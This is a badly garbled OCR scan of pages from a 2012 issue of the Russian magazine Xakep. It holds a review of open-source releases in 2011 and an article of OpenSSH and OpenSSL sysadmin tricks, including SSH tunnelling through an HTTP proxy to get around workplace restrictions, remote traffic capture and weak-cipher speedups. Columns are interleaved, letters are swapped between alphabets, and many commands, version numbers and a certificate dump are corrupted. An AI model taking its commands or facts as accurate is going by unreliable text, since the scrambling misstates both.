Тhis. product was creatr<t Ьу Ubuntu. ba~ оп Op~Orfice.or9 , which 15 Copyright 2000, 2010 ОПldе andJor its аrrШ..,trs .
BF5,
Vbuntu асltпоwlсЮgrs atl communlty membfl's, plea~ find тоге lofo ~t the Unk betow:
и систему
гибернации ТuхОпlcе , но и снижает энергопо
требление до уровня
Linux 2.6.3710 чем много phoroni x. com l. В соответствии с принципом Release early, release olten новые версии Linu x выходят в среднем четыре раза писали на
CQпtrtЬчtQгшditt
в год. Это нравится конечным пользователям, но не устраивает компании, производящие
ус тройства под управлением
Linux, поэтому Linu x Foundation в 2011 году запустила про грамм у Long Тегт 5upport Initiative ILT511 . Эта программа предусматривает выпуск обновле-
106
LibreOffice 3.4.1
из дистрибутива
Ubunlu «Oneiric Ocelol»
ХАКЕР
02/157/2012
Победы и поражения ореп
source -
2011
Отказ от использования
HAL. Zeitgeist (механизм для отсле
Поддержка
живания активности пользователяl. Существенно ускорена работа
Nepomuk. VPN и NetworkManager 0.9 с поддержкой 3G. Перевод всех компонентов Kontact 5uite на Akonadi. Интеграция
КОМ теперь умеет взаимодействовать с
Grub, что позволяет перезагрузиться бой пункт Grub прямо из КОМ . Поддержка Руthоп в Kdevelop. •
в лю $t)'Ie: ~
Функция распознавания лиц в каталогиза
•• --
~6dCL I ~
торе фотографий digiKam (к примеру, для автоматической расстановкитеговl. Тем не менее, как бы ни был хорош КОЕ4, довольно много поклонников еще осталось
Linux Mint 12
у КОЕ3 , точнее, уже у его форка Тгiпitу, который вполне нормально развивается , потихоньку
СаЙт Ьасkро г ts . огg , на котором можно найти
пока только синхронизировать файлы и ав
переползая на
пакеты с новыми версиями ПО для старых
томатически добавлять в
Qt4 .
Также обновились многие связанные с
и пере ехал на Ьасkрогts.dеЫап.огg .
проекты:
пришел на смену ОрепОffiсе,
Новые версии ОеЫап появляются редко,
LibreOffice
позтому выход каждой превращается в боль
медиапроигрыватель
х осте.
шое событие (шутка ли
Necessitas (порт а! на Androidl обновлялся
дания дистрибутива вышла только версия
позволяю
несколькоразза год, однако пока остается
в статусе
alpha.
ДИСТРИБУТИВЫ Ка ж дый год количество дистрибутивов
Linux
не у клонно растет: появляются новые, обнов ля ю тся старые.
Так, в начале
2011
года один из самых старых
и уважаемых дистрибутивов,
Debian,
вал нас новым релизом под номером вое имя
Squeezel.
Использование
•
' становки в приложениях по у молчанию:
щий установить сер верную часть на своем
LAMP и
порадо
6 (кодо
Основные нововведения:
официальных сайтов, начиная с dеЫап.огg .
Banshee заменил Evo lution з анял Thunderbird, дисплейный менеджер LightDM вытеснил GDM , удалены 5ynaptic и PiTIVi, добавлена удобная утилита Deja Dup для резервного копирования. Кроме обычного LiveCD (кото
В прошлом году периодически поднимал-
рый, кстати , теперь гибридныйl, появилась
ся вопрос о создании
DVD-версия с расширенной локализацией,
- через 18 лет соз
под номером 61. в честь этого был обновлен дизайн (который не менялся 13 летl всех
rolling release
ветки
Rhythmbox,
место
DеЫап (бесконечно обновляемого на манер
полной версией
Gentoo или Arch Liпuхl. В результате появил ся проект ОеЫап CUT (Сопstапtlу UsabIe Testing) с ежемесячными срезами тестового
и
Чтобы обосноваться на рынке серверов,
репозитория, но статус проекта пока еще
Canonical затратила
не понятен .
следующих новшеств:
Самый известный последователь
Grub2 по умолчанию .
фото с камеры.
Кроме того, произошли существенные пере
Вышел оwпСlоud 2-свободный аналог
ОгорЬо х, написанный на
U1
релизов, признан официальным сервисом
KDE
Debian,
Pitivi.
LibreOffice,
Iпksсаре,
GIMP
В семейство UЬuпtu официально во
шла LuЬuпtu с
UЬuпtu
LXDE. немало сил на разработку
ARM 5erver Еditiоп -специальная
версия для серверов на ARM !сейчас это
Параллельный запуск !с учетом зависимо
Ubuntu,
стейl iпit-скриптов при старте.
новыми релизами:
Прекращена поддержка звуковой подсисте
и
мы
работчиков были сосредоточены на следую
«Облачная » платформа Ореп5tасk для за
щих нововведениях:
мены
055.
Улучшена поддержка
Dpkg
IPv6.
научился понимать формат архивов
XZ, в Perl
строго по графику обзавелся двумя
11.04 (Natty Narwhall 11.10 (Oneiric Ocelotl. Основные усилия раз
модный тренд , хотя успешных коммерчески х
реализаций пока не видноl.
Eucalyptus.
Unity !собственная надстройка над Gпоmе31
Проекты Orchestra (коллекция управляю
стала ОЕ по умолчанию не только для нетбу
щих сервисов серверной инфраструктуры,
для работы .
ков, но и для десктопов .
которые быстро и просто разворачиваются)
Количество пакетов в репозиториях пре
В менеджере приложений
высило
появились рейтинги и отзывы , а также
стал быстрее и больше не нуждается
29 тысяч. Согласно приведенной разработчиками статистике, около 63 % всех
50ftware Center
и
Juju (отвечает за запуск определенных
сервисов для пользователей).
возможностьпротестироватьприложение
Liпuх-дистрибутивов основано на пакетной
передустановкой(правда,покаподдер
базе
живаются далеко не все приложения, а для
за прошедший год, Uпitу, не могло не снизить
Debian.
Самое спорное нововведение в
Ubuntu
Новые версии всего подряд-Liпuх 2.6.32
тестирования необходим пакетqtпхl. Теперь
популярность дистрибутива
(из которого убраны все несвободные прошив
можносинхронизироватьспискиустанов
мере, на
киl, GCC 4 . 4 . 5,Хеп 4.0.1, X.Org 7.5, КОЕ5С 4.4.5, GNOME 2.30, Xfce 4.6, ОрепОffiсе.огg 3.2.1.
ленныхприложениЙмеждукомпьютерами.
на второе место в рейтинге. Первое место
Количествоплатныхприложениймедленн~
с большим отрывом занял Liпuх
Интеграция СопsоlеКit (управление сессия
но верно растет. Кроме того, добавились
ванный на
миl и PolicyKit (предоставление расширен
книги и журналы.
distrowatch .com
-
по крайней
UЬuпtu опустилась
ства в « облачном» хранилище UЬuпtu Опе
Mint (осно Ubuntul, который также обза велся двумя релизами в прошлом году - 11 (кодовое имя Katya, основан на Ubuntu 11.04) и 12 (Lisa на базе UЬuпtu 11.101 . Мiпt стара
150-0бразыинсталляторовтеперьгибрид
увеличен с 2до 5 Гб (за $2,99 в месяц или
ется не отпугивать пользователей непри
ные , благодаря чему их можно записать
dd.
$29,99 в год можно получитьдополнитель ные 20 Гб). Кстати, в середине прошлого
5hell
версия на ядре
года сервис перешагнул рубеж в миллион
К тому же версия поддерживает
пользователей. Также вышел официальный
Епviгопmепt
ных правдоступаl . Полная поддержка
Объем бесплатного дискового простран
DN55EC.
на флешку с помощью простого
DеЫап GNU!kFreeB5D -
FreeB5D. Доступны 32сборки.
ХАКЕР
02/157/2012
и 64-разрядные
клиент для Апdгоid, который, правда, умеет
вычным интерфейсом, поэтому даже Gпоmе в последней версии похож на
-
Gnome2 . Mate Desktop
форк Gпоmе2.
Перед тем как начинать разработку сле-
107
UNIXOID дующего релиза, Сапопiсаl про водит встречу
интегрированной карты.
разработчиков
Постепенный отход от использования
-
UЬuпtu
Developer Summit,
благодаря которой мы можем узнать, чего
ждать от последующих версий дистрибутива .
•
Диспетчер служб и сеансов
чинаются с 1000для обеспечения совмести
ОрепВSD пережил два релиза:
Увеличить срок поддержки dеsktор-версии
мости с другими дистрибутивами и расшире
жорный, несмотря на нумерациюl. В число
до пяти лет, а кроме того, в течение первых
ния диапазона
основных изменений входят поддержка
нам
UID/GID для сервисов.
NI,
новых железок Iпо-моему, очень хорошая
Несмотря на опасения, вызванные прода
идеяl.
жей компании
Рекомендоватьиспользованиепоумолча
зтот факт пока не сказался
нию 64-разрядной версии.
выпущено два релиза:
Увеличить объем
изменениям относятся переход на iпit-демон
на разработке орепSUSЕ
- в 2011 году было 11.4 и 12.1. К значимым
AES4 Гб ОЗУ и больше 64 Wake оп LAN, устранение
поддержка больше
процессорных ядер,
некоторых потенциальных проблем с безопас ностью .
Как бы ни хотелось рассказать про много численные успехи Liпuх на рынке мобильных
systemd,
менить ТотЬоу на Gпоtе, чтобы удалить Мопо
управления снапшотами btгfs и « облачного»
увы, получится коротким. Единственный пред
с
хранилища оwпСlоud.
ставитель семейства Liпuх -
LiveCO.
внедрение инструмента Sпаррег для
ВSD-системы в ушедшем году не отличи
Доработать Uпitу для улучшения работы
лись большим количеc:rвом релизов. В вось
устройств Iтелефонов и планшетовl, рассказ,
Апdгоid 'К концу
прошлого года количество устройств под его
управлением превысило 200 миллионовl,
мой ветке FгeeBSD улучшен Хеп, реализована
который с некоторой натяжкой можно считать
на
новая версия
открытым, может похвастать двумя мажорны
альными машинами.
Включить в стандартную поставку какое
ции Iмеханизм для зкономии места на диске засчетпоискадубликатовблоко~,ускорено шифрование/дешифрование AES благодаря
нибудь приложение-календарь Iвозможно, зто будет Lightпiпg - плагин к ТhuпdегЫгdl.
использованию специального набора инструк
и телефоновl .
ций
Исходные коды ОС были полностью открыты
Оптимизировать
KVM для улучшения
работы
ARM, добавить поддержку протокола SPICE, разработанного для связи с вирту
В
2011
с поддержкой дедуплика
Вбазовуюсистемудобавленкомпилятор
Fedora: 15
ILovelockl и 16lVегпеl. Основные новшества:
Обновление загрузчика до
ZFS
AES-NI в современных процессорах. Changelog FreeBSD 9 значительно интереснее:
году также вышли две версии само
го известного RРМ-дистрибутива,
GRUB2.
Обновленный интерфейс-новая панель
Система управления RАID-массивами
Встроенное приложение для контроля тра
ataгaid заменена на
фика, позволяющее заблокировать доступ
graid, основанную
экрана
теперь используется ВSDlпstаll.
Поддержка протокола
SPICE в Virt Мапаgег.
•
в сеть для определенного приложения.
Face Uпlосkдля
разблокирования
Стандартный диспетчер задач, который
ограничивать ресурсы ICPU, тетогу и дру
умеетзавершатьприложения .
гиеl для процессов, пользователей или
Стандартныесредствадлясозданияскрин
Jail. Capsicum
сов: теперь имя зависит оттипа сетевой карты и имеет вид р<slоt_пumЬег>р<рогt_
для помещения процессов 'втом числе разных процессов одного приложенияl
пumЬег> для
визолированныеокружения.
Популярность брауэеров в мире по версии
Функция
Добавлен инструмент RCTL, позволяющий
Появилась поддержка технологии
или еm<рогt_пumЬег> для
•
экрана с помощью своего лица .
Изменения в названиях сетевых интерфей
PCI
вертой версии. Ос но вные нововведения: уведомлений, новые шрифты .
Вкачестве инсталлятора по умолчанию
отдельные правила без перезагрузки всей
году: вер
ТОЛЬКО ближе К концу года, после выхода чет
GCc.
HaGEOM .
позволяющего менять
2011
стью заменить
Поддержка динамического межсетевого
firewalld,
ми релизами, выпущенными в
сией 3 Iпредназначена только для планшетовl и версией 410бъединенная, для планшетов
Сlапg, который может практически полно
Замена Gпоmе2 на Gпоmе3.
таблицы.
108
Novell,
BHyVe. 4.9 и 5.0 'не ма
LiveCO до 750 Мб. Вернуть Rhythmbox на место Вапshее и за
на нескольких мониторах.
•
Также большим событием для FгeeBSD стало появление нового гипервизора
12.04 LTS (Lопg Term Support)
двухлетбзкпортироватьвядродровадля
•
USB3.0.
в приложениях .
обещают:
•
Добавлен новый USВ-драйвер с поддержкой
systemd. UID и GID нового пользователя теперь на
В версии
•
• setuid
шотов экрана .
Оптимизации браузера с введением новых
фишек Iвозможность изменить Useг Аgепt, синхронизация закладок с Google Chгomel.
StatCounter
ХАКЕР
02 / 157/ 2012
Победы и поражения ореп
source -
2011
Основные фичи , которыми браузер обза велся за год:
WеЬGLвключен по умолчанию.
• •
Ускорение за счет обновления JavaScriptдвижка .
Ускорение воспроизведения видео, осу
•
ществляемоесредствамивидеокарты.
Настройки браузера переехали из отдель ныхоконвовкладки.
Механизма голосового заполнения форм
[голос распознается на серверах
Googlel . Flash Cookie. Возможность сохранять страницу в POF. Возможность очищать
Лого
OpenBSD 5.0
ПоддержкаАРllпdехеdОВ .
Технология
• Не ус пел
Nokia N9,
первый и последний
смартфон под у правлением многострадального
MeeGo,
появиться на рынке, как было принято
решение заменить
Tiz en,
•
новой платформой
MeeGo
рения .
тически без потери производительности
Добавлен новый НТТР-заголовок
00 Not
по сравнению с системными приложениями .
после получения которого сайт дол
жен прекратить слежку за пользователем . :1
По данным StаtСоuпtег, в ко н це прошлого
Плагины теперь выполняются в отдельных
года
Подробностей пока немного [ хо тя первые
процессах, чтобы падающий Flаsh-плагин
ности браузером в мире [после вечного
тестовые версии должны выйти в первом
не ронял весь браузер.
обогнав
HTML5
при разработке п риложений .
позволяющая
выполнять код на С/С++ через браузер прак
Track,
которая отличается широким использо
ванием
Native Сliепt,
движкуудалосьдобиться серьезного уско
Google Chrome
стал вторым по популяр
IEI,
Firefox.
квартале 2012 - го) , известно только , что раз работкой платформы будут заниматься
Linux
Начиная с пятерки, новые версии выходили
Т О ВЕ CONТlN UED
часто, а серьезных изменений в них было
Немного проанализировав направление раз
ство отнеслось к новому проекту скептически
немного, поэтому сразу перечислю все новые
вития опенсорсных проектов в прошлом году,
-
фичи в релизах
можно предположить, что нас ждет в · этом .
Foundation
и
LiMo Foundation.
Однако сообще
его настроение можно охарактеризовать
5-9:
фразой « давайте уже хоть что-нибудь доведем
Исправлены проблемы сутечками памяти .
Продолжается бум мобильных устройств, поз
до ко нца ».
На странице аЬоut : регmissiопs можно настроить права на сохранение паролей,
тому в низкоуровневых компонентах [типа ядра или GCCI будет улучшаться поддержка ARM,
использование кук и некоторы х
а высокоуровневые обзаведутся интерфейсом,
1#1••11111
За прошедший год все популярные опен сорсные браузеры шагнули далеко вперед. Самый большой
у
changelog
оптимизированным для тачскринов .
•
Добавлена поддержка HTML5-тегов
окончательно стабилизируется и будет исполь
•
Для функционирования дополнений, уста
даже как
в п рошлом году был
FireFox 4:
HTML5-
технологий отдельно для каждого домена.
progress и сопtехtmепu.
Btrfs
зоваться во многих дистрибутивах [возможно, FS по умолчанию) . Flash, наконец,
навливающихся автоматически [например ,
умрет [это уже, правда, мои мечтыl. Также
панель вкладок переехала в самый верх
при установке Skype или Java), теперь требу
ожидается появление большого количества
итеперьнаходится над адресной строкой.
ется явное разрешение от пользователя.
опенсорсных игр для Liпuх на движке Ооот
Интерфейс приобрел черты
Google Chrome:
Также переработан интерфейс менеджера
дополнений [которыйтеперьоткрывается во вкладке, а не в отдельном окне). Появился инструментWеЬ Сопsоlе [Web Inspectorl- своего рода облегченный вари
3
и нескольких проприетарных игр на кросс
Google Chrome,
основной конкурент
Firefo x
платформенны х движках . А еще, говорят,
за звание второго по популярности браузера,
выйдет
в прошедшем году зарелизился семь раз [были
за Нострадамуса, скажу только тебе и по боль
выпущены версии с 9 по 151.
шому секрету: конца света не будет
GIMP 2.8.
Ну и напоследок , пока я
:I.:::I:
ант Firebug .
•
Добавлена поддержка в теге
WebM
и коде ка
VP8
<video>. .. J
Синхро низациязакладок ,ис тории,паролей
IGetSoftware I
1"
между несколькими компами теперь осу
Ubuntu Software Center
ществляется через сервера
Mozilla и доступ на «из коробки» [раньше она реализовыва лась с помощью дополнения
•
Firefox Sync).
Д обав лена поддержка WebGL [технология,
Departments
с помощью которой можно получить доступ
•
к функциям ОрепGL из JavaScriptl .
•
Добавлена поддержка спецификации Accessorles
APllndexedOB, которая позволяет через JavaScript делать выборки с сортировкой
Fon!>
Games
omce
Sdence&. Ef91eetI1g
scx.rd &. VIdeO
DeVeIOPer TooIs
5yst>m
-,
из интегрированной с web-браузером базы д а нны х.
Добавлена поддержка протокола WеЬ
Sockets для
Themes &ТWea13
организации двусторонней
связи между браузером и web-сервером. П оя вилась страница
about:memory, отобра
жаю щая подробную информацию отом, как браузер использует ОЗУ. В основном благодаря новому JavaScript-
ХАКЕР
02 / 157/2012
Ubuntu Software Center
109
UNIXOID
Евгений Зобнин lexecbit.ruJ
-
с полным списком команд
OpenSSL
можно ознакомиться с помощью следующих
пара метров: liststandart-commands, list-message-digestcommands,listcipher-commands.
к иптологический и Такие инструменты, как
OPENSSH, О
OpenSSH
и
OpenSSL,
в представлении не нуждаются. Это вечные
друзья любого сисадмина и многих продвинутых пользователей. Однако далеко не все знают об их истинной мощи и возможностях,
накопленных за годы разработки. Сегодня тебе откроется масса интересных способов использования этих программ.
•.'1·0·" OpenSSH,
пришедший на смену дырявому
Telnet, до
сих пор за-
нимает первое место среди систем удаленного управления бла годаря безопасности и простоте в использовании. Разобраться
в нем способны все , даже самые хроми рованные чайники, одна ко подавляющее большинство пользователей за дей с тв уе т мини
КОТОРЫХ ТЫ НЕ ЗНАЛ ) openss 1 s_c 1ient -startt Is smtp -сr 1f -connect smtp. gmai 1 . com : 25 СОННЕСТЕО (00000003) depth=l С = US, О = Goog1e Inc, СН = Google Internet Ruthori ty verify error:num=20:unable ta get lоса1 issuer certificate ver i fy return: В Certificate chain В s: /C=US/ST=Cal i forn ia/L=Mauntain View/O=Goog 1е Inc/CN=smtp. gma i 1 . cam i: /C=US/O=Gaogle Inc/CN=Goagle lnternet Ruthori ty 1 s: /C=US/0=Gaog1e Inc/CN=Goog lе Internet Ruthori ty i : /C=US/O=Equ i fax/OU=Equi fax Secure Cert i ficate Ruthori ty Server cert i f icate -----BEGIN CERTlFICRTE----МI 1O,"zCCRsSgRw 1BRg IKaM9uMQRDRRR irTRNBgkqhk i G9wBBRQUFRDBGMQswCQYD VQQGEwJVUzETMBEGR1UEChMKR29vZ2x IIE 1uYzE i MCRGR1UERxMZR29vZ2x 1IE lu dGVybmVB 1EFldGhvcm 1Ве TReFw0xMTRyMTYwNDM~MD laFwBxMjRyMTYwNOQ~MO lа MGgxCzRJBgNVBRYTR 1VTMRMwEQYDVQQ 1EwpDY,"xpZm9ybm 1hMRYwFRYOVQQHEw lН b3VudGFpbiB,"a,"V3MRMwEQYDVQQKEwpHb29nbGUgS'"5jMRcwFQYDVQQDEw5zbXRw Lmd t У'" 1sLmNvb TCBnzRNBg kqhk i G9wBBRQEFRAOB jQRwgYkCg YERzv9SacnXKcRx +BB~yVH2qdp VUXnCkBNv kn /y2Y0nkzF a,"s,"MAkOL TMt sа5уРб9рпs УЬ9 turs~K i L DkRnf7RdSV 1тр 1GRknMRPDYIr ja231 tutuN7Q~EjadsY8Q+NX5u,"j 1PsASBE8Gu 1 9JobE 1~ iGFURfF +2 i OG lwF eFbpCaDJECAwERRaOCRSwwggEoMBBGR 1UdDgQ'"BBQK s t TMUTHcQEpEpgaXuVVXJ е 1Нх jRfBgNVHSMEGDR,"gBS /wDОr9UМRРmебпрН7 /Gr а ~2sSJDВЬВgNVНR8ЕVDВSМFСgТqВМhkроdНRwОi8vd3dЗLmdzdGFВа,"MuY29tL0dv
b2dsZU ludGVybmV0QXV0aG9yaXRSL0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNy
мум его возможностей . Опустим рассказы о ключах, пробросах портов, проксировании и други х полезны х, но всем известных
110
Используем
OpenSSL для
подключения к
Gmail
ХАКЕР
02/157/2012
Криптологический рай
> ls
-1 68 -rwxr-xr-x 1 -г--г--г-1 -г-хг-хг-х 1 -г--г--г-- 1 -rwxr-xr-x 1 > for f in * ; done > ls -1 UTOrO 136 -rwxr-xr-x 1 -rw-r--r-- 1 -г--г--г-1 -rw-r--r-- 1 -г-хг-хг-х 1 -rw-r--r-- 1 -г--г--г-1 -rw-r--r-- 1 -rwxr-xr-x 1 -rw-r--r-- 1 UTOrO
j1m users 2264 ФеВр. 23 j1m users 36961 ФеВр. 23 j1m users 4119 ФеВр. 23 j1m users 10116 ФеВр. 23 j1m users 921 ФеВр. 23 ; do [ -f $f ] && openss1
j1m j1m j1m j1m j1m j1m j1m j1m j1m j1m
users users users users users users users users users users
2264 2288 36961 36992 4119 4144 10116 10144 921 944
ФеВр.
geK. ФеВр.
geK. ФеВр.
geK. ФеВр.
geK. ФеВр.
geK.
23 1 23 1 23 1 23 1 23 1
2011 2011 2011 2011 2011 епс
insta11.sh ok400pc 1 . ppd rastertookimonochrome readme.pdf uninsta11.sh - aes-256-cbc -sa1t -in $f -out $f.enc -pass pass: 12345
2011 insta11.sh 18:29 i ns t а 11 . sh . епс 2011ok400pc1.ppd 18:290k400pc1.ppd.enc 2011 rastertookimonochrome 18:29 rastertookimonochrome.enc 2011 readme.pdf 18:29 readme.pdf.enc 2011 uninsta11.sh 18:29 uninsta11.sh.enc
>I Шифруем файлы с помощью
OpenSSL
приемах и рассмотрим на самом деле интересные и не слишком
Итак, трюк номер один
OpenSSH
-
*
Host
распространенные способы использования зто го инструмента.
ProxyCommand .corkscrew proxy. сот
ве
%h
%Р...
множественные подключения.
Теперь все соединения пойдут через указанный НТТР-прокси.
способен обслуживать множество одновременных
соединений с одной и той же машиной. Обычно пользователи
просто запускают команду и ждут ее завершения, чтобы за
Трюк номер четыре
-
тест пропускной способности сети. Чтобы
протестировать скорость соединения, необязательноустанавл и
пустить следующую . К счастью, эту проблему легко обойти путем
вать специализированное ПО , достаточно у тилиты
разделения одного соединения на множество сессий. Просто
доброго
добавь в конфиг
pv
и старого
SSH:
ssh I-/.ssh/config) следующие строки:
$ sudo apt-get install ру $ yes 1 ру 1 ssh host.com "cat > /dev/null"
ControlMaster auto ControlPath -/.ssh/mux_%h_%p_%r
Трюк номер пять Ты сможешь создать столько соединений с одним и тем же сер
-
удаленный анализ сете вого трафика. Почти
в любой UNIХ-системе есть сетевой сниффер
tcpdump, однако OpenSSH
вером, сколько посчитаешь нужным, причем время на повторную
читать его лаги довольно утомительно. Возможности
аутентификацию тратить будет не нужно.
могут у простить анализ трафика :
Трюк номер два
-
по
проксирование соединений. Допустим,
ты не можешь создать соединение с SSH-сервером напрямую,
$ ssh
но можешь использовать для зто го другой хост, К которому ты
root@host L~9m
tcpdump -w - 'port !22' \ _
1 wireshark . -IC.:J -
тоже имеешь SSН-доступ. Добавь в свой конфиг следующие
Теперь весь трафик, проходящий через
строки:
host.com, будет виден wireshark на твоей машине . шесть - передача файлов на низкой скорости.
в графическом окне
Трюк номер
ForwardAgent yes Host host HostName host.com ProxyCommand ssh proxy~host.com \ netcat -q бее %h %р
Иногда бывает необходимо передать большое количество файлов на удаленную машину, но сделать зто так, чтобы процесс не мешал работе с сетью. В этом случае можно воспользоваться инструмен том
Команда
ssh host создаст соединение с сервером host .com proxy-host.com. номер три - выход за пределы НТТР-изоляции. Многие
через сервер Трюк
cstream:
$ sudo apt-get install cstream $ tar -cj /backup 1 .cstream -t 512k ssh host . ti;lr ,-xj -С /backup'
1. \
организации не просто режут неугодный им трафик, но и принуж
дают пользователей выходить в Сеть только с использованием
Трюк номер семь
-
всегда открытая SSН-сессия. Пользовате
НТТР-протокола. Такую несправедливость легко обойти с помощью
лям ноутбуков, чье соединение с сетью может быть не постоянным,
corkscгew Iwww.аgгоmап . пеt/согksсгеw/J. который умееттуннели
приходится каждый раз заново запускать SSН-клиент в момент,
ровать SSН-трафик через НТТР. Просто установи его на свою маши
когда сеть появляется, и убив.ать его при потере соединения.
ну и добавь в конфиг следующие строки Iгде ргоху.сот и 80 адрес внешнего НТТР-прокси и его порт):
Избежать этого можно с помощью инструмента
ХАКЕР
02/157/2012
зто
autossh,
который
будет поддерживать иллюзию постоянного соеди нения с сервером,
111
UNIXOID
) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new Но CIPHER specified Co11ecting connection statistics for 30 seconds tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt 94 connections in 0.72s; 130.56 connections/user sec, bytes read 38728 94 connections in 31 геа1 seconds, 412 bytes read рег connection ) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new -ss13 -cipher HIGH Co11ecting connection statistics for 30 seconds 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 93 connections in 0.68s; 136.76 connections/user sec, bytes read 38316 93 connections in 31 геа1 seconds, 412 bytes read рег connection
)I
Делаем бенчмарк SSL-сервера
Gmail
восстанавливая связь. когда сеть окажется доступной:
$ .s.udo .ap:t~ ge:t .. iJ)st.aJ,! mu.1titflJ.1 ..._ ............. _............. $ .mul t:i.:t<!,i,.1...c..l... ~.sshh9S.tl ..".tail .. :.f_..\ ........... _....... _................... .. .. f.l!flr/JQgf.<!p.<!cbe.U e.rror .lqg".' ...:J...:..s.SD... D.Qst~ .. \ .... :'ta.H ...: f.J I!<JTIJQg/<!pache2/error •.1qg::.:
$... suф. apt-gеtJП.st.<!J,J ...,щtоssЬ . $ аutоssh .. с.МSЩ~0е .c.t . s.e r.l!er .. exal1Jple.com \ .. ...· .scT.een...: r:aд.g... !!1}'.s.e.S.~,i,91J :..
Трюк номер Трюк номер восемь
-
запуск команды на нескольких серверах
11 -
копирование файлов с одной удаленной
машины на другую через локальную. В случае если две удаленные машины не могут установить связь друг с другом, файлы между
одновременно. Комментарии излишни:
ними можно передавать, используя свой комп в качестве промежу
$ ..echo ..:·.uptime.·:....I .. p.e.e . ::~s.h .. ssh hоs.t.З.:: .................... . Трюк номер девять
-
. hщt:J,"
::ssh .h05t2·:.. \ .................
удаленное сравнение файлов. Часто
точного звена:
$ sshr:09t@h.os1:1 .. .. ccj /l<<JтаllОГ .. &&.. 1:аr:_. - .с.f ...::...•.::.. J\ .. ssh rOQt@.Oo.st.2 . "сс! . } катаn.ог ..&& ..tar: ..:xf:...:.................
требуется сравнить локальную и удаленную версию какого-либо конфига, однако копировать файлы туда-сюда неудобно и долго. В этом случае можно воспользоваться следующей командой:
Трюк номер
12 -
копирование вывода удаленной команды
в буфер обмена. Часто требуется скопирова ть в ывод удаленной команды в буфер обмена, чтобы вставить его в письмо, сообще
$ .s sh LJsеr@.hоst... с<!tJЛУJ:Q/~/уд<!леННОr>1у/фаЙлу .\Ji.ff /nYIbl.l<fllQK<!IH'!J.Q~Y /фi!.ЙЛУ -
'\ ...
То же самое можно проделать для двух файлов, находящихся
ние форума и т . д. Проще всего это сделать с помощью утилиты
xclip:
$ ssЬ .usе.r@.ЬQ.~:t.. j:<!t.. /ф<Jйд.Jхt 1. 1<.c.Hp ............................ .
на разных серверах:
Трюк номер
$ gJ ff < (sSD .. h.os.t1 ...c.<Jt.J e.tc/<!p1:/sources ..l;ist) ..\ ... . . <(s.sh ..hQst2 .. c.a:t. .I.е.1;.Ц<Jрtf.sрurсеs ..1ist) .. ................ .
13 -
синхронизация времени средствами
SSH .
В случае, если машина не имеет доступа к NTP-серверу или на ней
не установлен NТР-клиент, синхро низировать время между маши нами можно так :
Трюк номер
10 -
машин. С помощью
одновременный просмотр логов с нескольких
multitail
и
SSH
можно запросто просматривать
логи с двух серверов одновременно:
Трюк номер
14 -
установка пакетов удаленной машины
на локальную. Нередко требуется синхронизиро вать две машины так, чтобы они имели одинаковый набор установленных па кетов .
Стандартными методами сделать зто сложно, но с помощью
SSH
проще простого:
CPUO: RNG AES
~.
Результаты бенчмарка криптографических средств ,
встроенных в
CPU
платформы
VIA Eden
Iпроцессорные
инструкции для работы с алгоритмом блочного симметричного
шифрования
s.sh remotehost'.9P.kg .. - .:gеt-sеJ,е.с.t:LQns. '... J. ..\ ....... . dpkg ..с.~.S.еt.~.S.еJеС.t.iол.s .. (!.& .dseJeJ:;t .. j,nS.t.i!.H ..................... . Трюк номер
15 -
снимок удаленного экрана. Можно очень легко
получить изображение Х-сервера с удаленной машины, воспользо вавшись стандартным графическим пакетом
ImageMagick :
AES} : # ss.h. ч.sег@h.оs.t. ..::DJSP.L,A,,(= :.0 ..0 ..imР.ог1:.. : ~Jл.ф.w...\ ...
% openssl speeg ...:.e1<!p.s.e.\J ...:.evp aes-25б.-сЬс . t}'pe . аеs-25б-фс
...... _............... . lБWtеS._ .. Б4Меs ... 25бbytеs 1024bytes .. 819~ .t;Jy:tes. Д~. ~~k .. ~5.~1 ,?!:!k . 19!!578 . 08k ,31Д02..05lс ~~~Z:J. ..051<
r.oot ..: for.mat ...RlJg :" .1 disp.lay -fоr.m;!J .. Р!JК Чтобы сохранить его в файле , последнюю команду следУет за менить на « >
112
file .png ».
ХАКЕР
02/157/2012
Криптологический рай
Трюк номер
ускорение передачи данных . Если машины,
16 -
установления SSL-соединения. Для этого предназначена стан
с которыми установлено соединение, находятся внутри заведомо
дартная команда
безопасной сети Iнапример, офис или домl, передачу данных сред
соединения, нужно применить ее к команде
ствами
SSH
s_time.
Чтобы оценить скорость установки
SSL-
openssl:
можно несколько ускорить, если использовать менее
стойкий алгоритм шифрования. Для этого добавь в конфигураци онный файл следующие строки:
Host host.com Ciphers arcfour256 MACs umac-64@openssh.com Трюк номер
вывод звука с удаленной машины на локаль
17 -
ную. Вместе с картинкой рабочего стола удаленной машины иногда
хочется получить и звук. Это делается с помощью банального
$ dd if;/devjdsp I ssh -с arcfour user@host dd of;/dev/dsp Трюк номер
-С
То же самое можно проделать с помощью наиболее стойких алгоритмов:
dd:
\
запуск локального скрипта на удаленной ма
18 -
$ openssl s_time -connect gmail.com:443 \ -www /test.html -new 103 connections in 0.75s; 137.33 connections/user sec, bytes read 42436 103 connections in 31 real seconds, 412 bytes read per connectiOl1
шине. Нередко требуется запустить скрипт на удаленной машине,
$ openssl s_time -ss13 -cipher HIGH \ -connect gmail.com:443 -www / -new 99 connections in 0.73s; 135.62 connections/user sec, bytes read 40788 99 connections in 31 real seconds, 412 bytes read per connection
однако копировать его туда совсем необязательно, достаточно Эти две команды позволяют определить максимальную про
выполнить следующую простую команду:
пускную способность SSL-сервера . Но еще более интересный
$ ssh
-Т
способ заключается в тестировании всех поддерживаемых алго
user@host < script.sh
ритмов. Для зто го нам придется прибегнуть к скриптингу:
1.11.0""
представляет собой систему защиты и сертификации
OpenSSL
данных, которая была разработана в ответ на создание протокола безопасных сокетов мнению,
OpenSSL
SSL
компанией
Netscape.
Вопреки расхожему
вовсе не является инструментом для реализации
SSL-протокола и может выполнять множество самых разнообраз ных функций, в том числе управлять ключами и сертификатами, рассчитывать хеши и т. д. Вот лишь неполный список возможно
IFS;": " for с in $(openssl ciphers -ss13 RSA); do echo $с openssl s_time -connect host:443 -www / -new \ -time 10 -cipher $с 2>&1 I grep bytes echo done
стей этого криптографического комбайна:
создание ключей RSA и DSA и управление ими Iкоманды rsa, dsa,
•
• •
SSL-
создание сертификатов формата х509, формирование запросов
можно использовать, например, для тюнинга SSL-сервера . Если же
на сертификацию, восстановление Iкоманды х509,
